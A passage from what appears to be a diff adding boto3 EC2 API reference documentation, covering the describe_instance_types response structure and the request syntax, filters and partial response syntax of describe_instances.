m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'CurrentGeneration': True|False, + 'FreeTierEligible': True|False, + 'SupportedUsageClasses': [ + 'spot'|'on-demand', + ], + 'SupportedRootDeviceTypes': [ + 'ebs'|'instance-store', + ], + 'SupportedVirtualizationTypes': [ + 'hvm'|'paravirtual', + ], + 'BareMetal': True|False, + 'Hypervisor': 'nitro'|'xen', + 'ProcessorInfo': { + 'SupportedArchitectures': [ + 'i386'|'x86_64'|'arm64', + ], + 'SustainedClockSpeedInGhz': 123.0 + }, + 'VCpuInfo': { + 'DefaultVCpus': 123, + 'DefaultCores': 123, + 'DefaultThreadsPerCore': 123, + 'ValidCores': [ + 123, + ], + 'ValidThreadsPerCore': [ + 123, + ] + }, + 'MemoryInfo': { + 'SizeInMiB': 123 + }, + 'InstanceStorageSupported': True|False, + 'InstanceStorageInfo': { + 'TotalSizeInGB': 123, + 'Disks': [ + { + 'SizeInGB': 123, + 'Count': 123, + 'Type': 'hdd'|'ssd' + }, + ], + 'NvmeSupport': 'unsupported'|'supported'|'required' + }, + 'EbsInfo': { + 'EbsOptimizedSupport': 'unsupported'|'supported'|'default', + 'EncryptionSupport': 'unsupported'|'supported', + 'EbsOptimizedInfo': { + 'BaselineBandwidthInMbps': 123, + 'BaselineThroughputInMBps': 123.0, + 'BaselineIops': 123, + 'MaximumBandwidthInMbps': 123, + 'MaximumThroughputInMBps': 123.0, + 'MaximumIops': 123 + }, + 'NvmeSupport': 'unsupported'|'supported'|'required' + }, + 'NetworkInfo': { + 'NetworkPerformance': 'string', + 'MaximumNetworkInterfaces': 123, + 'MaximumNetworkCards': 123, + 'DefaultNetworkCardIndex': 123, + 'NetworkCards': [ + { + 'NetworkCardIndex': 123, + 'NetworkPerformance': 'string', + 'MaximumNetworkInterfaces': 123 + }, + ], + 'Ipv4AddressesPerInterface': 123, + 'Ipv6AddressesPerInterface': 123, + 'Ipv6Supported': True|False, + 'EnaSupport': 'unsupported'|'supported'|'required', + 'EfaSupported': True|False + }, + 'GpuInfo': { + 'Gpus': [ + { + 'Name': 'string', + 'Manufacturer': 'string', + 'Count': 123, + 'MemoryInfo': { + 'SizeInMiB': 123 + } + }, + ], + 'TotalGpuMemoryInMiB': 123 + }, + 'FpgaInfo': { + 'Fpgas': [ + { + 'Name': 'string', + 'Manufacturer': 'string', + 'Count': 123, + 'MemoryInfo': { + 'SizeInMiB': 123 + } + }, + ], + 'TotalFpgaMemoryInMiB': 123 + }, + 'PlacementGroupInfo': { + 'SupportedStrategies': [ + 'cluster'|'partition'|'spread', + ] + }, + 'InferenceAcceleratorInfo': { + 'Accelerators': [ + { + 'Count': 123, + 'Name': 'string', + 'Manufacturer': 'string' + }, + ] + }, + 'HibernationSupported': True|False, + 'BurstablePerformanceSupported': True|False, + 'DedicatedHostsSupported': True|False, + 'AutoRecoverySupported': True|False + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceTypes** _(list) --_ + + The instance type. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(dict) --_ + + Describes the instance type. + + * **InstanceType** _(string) --_ + + The instance type. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CurrentGeneration** _(boolean) --_ + + Indicates whether the instance type is current generation. + + * **FreeTierEligible** _(boolean) --_ + + Indicates whether the instance type is eligible for the free tier. + + * **SupportedUsageClasses** _(list) --_ + + Indicates whether the instance type is offered for spot or On-Demand. + + * _(string) --_ + * **SupportedRootDeviceTypes** _(list) --_ + + The supported root device types. + + * _(string) --_ + * **SupportedVirtualizationTypes** _(list) --_ + + The supported virtualization types. + + * _(string) --_ + * **BareMetal** _(boolean) --_ + + Indicates whether the instance is a bare metal instance type. + + * **Hypervisor** _(string) --_ + + The hypervisor for the instance type. + + * **ProcessorInfo** _(dict) --_ + + Describes the processor. + + * **SupportedArchitectures** _(list) --_ + + The architectures supported by the instance type. + + * _(string) --_ + * **SustainedClockSpeedInGhz** _(float) --_ + + The speed of the processor, in GHz. + + * **VCpuInfo** _(dict) --_ + + Describes the vCPU configurations for the instance type. + + * **DefaultVCpus** _(integer) --_ + + The default number of vCPUs for the instance type. + + * **DefaultCores** _(integer) --_ + + The default number of cores for the instance type. + + * **DefaultThreadsPerCore** _(integer) --_ + + The default number of threads per core for the instance type. + + * **ValidCores** _(list) --_ + + The valid number of cores that can be configured for the instance type. + + * _(integer) --_ + * **ValidThreadsPerCore** _(list) --_ + + The valid number of threads per core that can be configured for the instance type. + + * _(integer) --_ + * **MemoryInfo** _(dict) --_ + + Describes the memory for the instance type. + + * **SizeInMiB** _(integer) --_ + + The size of the memory, in MiB. + + * **InstanceStorageSupported** _(boolean) --_ + + Indicates whether instance storage is supported. + + * **InstanceStorageInfo** _(dict) --_ + + Describes the instance storage for the instance type. + + * **TotalSizeInGB** _(integer) --_ + + The total size of the disks, in GB. + + * **Disks** _(list) --_ + + Describes the disks that are available for the instance type. + + * _(dict) --_ + + Describes the disk. + + * **SizeInGB** _(integer) --_ + + The size of the disk in GB. + + * **Count** _(integer) --_ + + The number of disks with this configuration. + + * **Type** _(string) --_ + + The type of disk. + + * **NvmeSupport** _(string) --_ + + Indicates whether non-volatile memory express (NVMe) is supported for instance store. + + * **EbsInfo** _(dict) --_ + + Describes the Amazon EBS settings for the instance type. + + * **EbsOptimizedSupport** _(string) --_ + + Indicates whether the instance type is Amazon EBS-optimized. For more information, see [Amazon EBS-Optimized Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSOptimized.html) in _Amazon EC2 User Guide for Linux Instances_ . + + * **EncryptionSupport** _(string) --_ + + Indicates whether Amazon EBS encryption is supported. + + * **EbsOptimizedInfo** _(dict) --_ + + Describes the optimized EBS performance for the instance type. + + * **BaselineBandwidthInMbps** _(integer) --_ + + The baseline bandwidth performance for an EBS-optimized instance type, in Mbps. + + * **BaselineThroughputInMBps** _(float) --_ + + The baseline throughput performance for an EBS-optimized instance type, in MB/s. + + * **BaselineIops** _(integer) --_ + + The baseline input/output storage operations per seconds for an EBS-optimized instance type. + + * **MaximumBandwidthInMbps** _(integer) --_ + + The maximum bandwidth performance for an EBS-optimized instance type, in Mbps. + + * **MaximumThroughputInMBps** _(float) --_ + + The maximum throughput performance for an EBS-optimized instance type, in MB/s. + + * **MaximumIops** _(integer) --_ + + The maximum input/output storage operations per second for an EBS-optimized instance type. + + * **NvmeSupport** _(string) --_ + + Indicates whether non-volatile memory express (NVMe) is supported. + + * **NetworkInfo** _(dict) --_ + + Describes the network settings for the instance type. + + * **NetworkPerformance** _(string) --_ + + The network performance. + + * **MaximumNetworkInterfaces** _(integer) --_ + + The maximum number of network interfaces for the instance type. + + * **MaximumNetworkCards** _(integer) --_ + + The maximum number of physical network cards that can be allocated to the instance. + + * **DefaultNetworkCardIndex** _(integer) --_ + + The index of the default network card, starting at 0. + + * **NetworkCards** _(list) --_ + + Describes the network cards for the instance type. + + * _(dict) --_ + + Describes the network card support of the instance type. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **NetworkPerformance** _(string) --_ + + The network performance of the network card. + + * **MaximumNetworkInterfaces** _(integer) --_ + + The maximum number of network interfaces for the network card. + + * **Ipv4AddressesPerInterface** _(integer) --_ + + The maximum number of IPv4 addresses per network interface. + + * **Ipv6AddressesPerInterface** _(integer) --_ + + The maximum number of IPv6 addresses per network interface. + + * **Ipv6Supported** _(boolean) --_ + + Indicates whether IPv6 is supported. + + * **EnaSupport** _(string) --_ + + Indicates whether Elastic Network Adapter (ENA) is supported. + + * **EfaSupported** _(boolean) --_ + + Indicates whether Elastic Fabric Adapter (EFA) is supported. + + * **GpuInfo** _(dict) --_ + + Describes the GPU accelerator settings for the instance type. + + * **Gpus** _(list) --_ + + Describes the GPU accelerators for the instance type. + + * _(dict) --_ + + Describes the GPU accelerators for the instance type. + + * **Name** _(string) --_ + + The name of the GPU accelerator. + + * **Manufacturer** _(string) --_ + + The manufacturer of the GPU accelerator. + + * **Count** _(integer) --_ + + The number of GPUs for the instance type. + + * **MemoryInfo** _(dict) --_ + + Describes the memory available to the GPU accelerator. + + * **SizeInMiB** _(integer) --_ + + The size of the memory available to the GPU accelerator, in MiB. + + * **TotalGpuMemoryInMiB** _(integer) --_ + + The total size of the memory for the GPU accelerators for the instance type, in MiB. + + * **FpgaInfo** _(dict) --_ + + Describes the FPGA accelerator settings for the instance type. + + * **Fpgas** _(list) --_ + + Describes the FPGAs for the instance type. + + * _(dict) --_ + + Describes the FPGA accelerator for the instance type. + + * **Name** _(string) --_ + + The name of the FPGA accelerator. + + * **Manufacturer** _(string) --_ + + The manufacturer of the FPGA accelerator. + + * **Count** _(integer) --_ + + The count of FPGA accelerators for the instance type. + + * **MemoryInfo** _(dict) --_ + + Describes the memory for the FPGA accelerator for the instance type. + + * **SizeInMiB** _(integer) --_ + + The size of the memory available to the FPGA accelerator, in MiB. + + * **TotalFpgaMemoryInMiB** _(integer) --_ + + The total memory of all FPGA accelerators for the instance type. + + * **PlacementGroupInfo** _(dict) --_ + + Describes the placement group settings for the instance type. + + * **SupportedStrategies** _(list) --_ + + The supported placement group types. + + * _(string) --_ + * **InferenceAcceleratorInfo** _(dict) --_ + + Describes the Inference accelerator settings for the instance type. + + * **Accelerators** _(list) --_ + + Describes the Inference accelerators for the instance type. + + * _(dict) --_ + + Describes the Inference accelerators for the instance type. + + * **Count** _(integer) --_ + + The number of Inference accelerators for the instance type. + + * **Name** _(string) --_ + + The name of the Inference accelerator. + + * **Manufacturer** _(string) --_ + + The manufacturer of the Inference accelerator. + + * **HibernationSupported** _(boolean) --_ + + Indicates whether On-Demand hibernation is supported. + + * **BurstablePerformanceSupported** _(boolean) --_ + + Indicates whether the instance type is a burstable performance instance type. + + * **DedicatedHostsSupported** _(boolean) --_ + + Indicates whether Dedicated Hosts are supported on the instance type. + + * **AutoRecoverySupported** _(boolean) --_ + + Indicates whether auto recovery is supported. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_instances(kwargs_) + +Describes the specified instances or all instances. + +If you specify instance IDs, the output includes information for only the specified instances. If you specify filters, the output includes information for only those instances that meet the filter criteria. If you do not specify instance IDs or filters, the output includes information for all instances, which can affect performance. We recommend that you use pagination to ensure that the operation returns quickly and successfully. + +If you specify an instance ID that is not valid, an error is returned. If you specify an instance that you do not own, it is not included in the output. + +Recently terminated instances might appear in the returned results. This interval is usually less than one hour. + +If you describe instances in the rare case where an Availability Zone is experiencing a service disruption and you specify instance IDs that are in the affected zone, or do not specify any instance IDs at all, the call fails. If you describe instances and specify only instance IDs that are in an unaffected zone, the call works normally. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +response = client.describe_instances( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + * architecture - The instance architecture (i386 | x86_64 | arm64 ). + * availability-zone - The Availability Zone of the instance. + * block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + * block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + * block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + * block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + * block-device-mapping.volume-id - The volume ID of the EBS volume. + * client-token - The idempotency token you provided when you launched the instance. + * dns-name - The public DNS name of the instance. + * group-id - The ID of the security group for the instance. EC2-Classic only. + * group-name - The name of the security group for the instance. EC2-Classic only. + * hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + * host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + * hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + * iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + * image-id - The ID of the image used to launch the instance. + * instance-id - The ID of the instance. + * instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + * instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + * instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + * instance-type - The type of instance (for example, t2.micro ). + * instance.group-id - The ID of the security group for the instance. + * instance.group-name - The name of the security group for the instance. + * ip-address - The public IPv4 address of the instance. + * kernel-id - The kernel ID. + * key-name - The name of the key pair used when the instance was launched. + * launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + * launch-time - The time when the instance was launched. + * metadata-options.http-tokens - The metadata request authorization state (optional | required ) + * metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + * metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + * monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + * network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + * network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + * network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + * network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + * network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + * network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + * network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + * network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + * network-interface.attachment.attachment-id - The ID of the interface attachment. + * network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + * network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + * network-interface.attachment.device-index - The device index to which the network interface is attached. + * network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + * network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + * network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + * network-interface.availability-zone - The Availability Zone for the network interface. + * network-interface.description - The description of the network interface. + * network-interface.group-id - The ID of a security group associated with the network interface. + * network-interface.group-name - The name of a security group associated with the network interface. + * network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + * network-interface.mac-address - The MAC address of the network interface. + * network-interface.network-interface-id - The ID of the network interface. + * network-interface.owner-id - The ID of the owner of the network interface. + * network-interface.private-dns-name - The private DNS name of the network interface. + * network-interface.requester-id - The requester ID for the network interface. + * network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + * network-interface.status - The status of the network interface (available ) | in-use ). + * network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + * network-interface.subnet-id - The ID of the subnet for the network interface. + * network-interface.vpc-id - The ID of the VPC for the network interface. + * owner-id - The AWS account ID of the instance owner. + * placement-group-name - The name of the placement group for the instance. + * placement-partition-number - The partition in which the instance is located. + * platform - The platform. To list only Windows instances, use windows . + * private-dns-name - The private IPv4 DNS name of the instance. + * private-ip-address - The private IPv4 address of the instance. + * product-code - The product code associated with the AMI used to launch the instance. + * product-code.type - The type of product code (devpay | marketplace ). + * ramdisk-id - The RAM disk ID. + * reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + * requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + * reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + * root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + * root-device-type - The type of the root device volume (ebs | instance-store ). + * source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + * spot-instance-request-id - The ID of the Spot Instance request. + * state-reason-code - The reason code for the state change. + * state-reason-message - A message that describes the state change. + * subnet-id - The ID of the subnet for the instance. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + * tenancy - The tenancy of an instance (dedicated | default | host ). + * virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + * vpc-id - The ID of the VPC that the instance is running in. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Reservations': [ + { + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'Instances': [ + { + 'AmiLaunchIndex': 123, + 'ImageId': 'string', + 'InstanceId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'LaunchTime': datetime(2015, 1, 1), + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + 'Platform': 'Windows', + 'PrivateDnsName': 'string', + 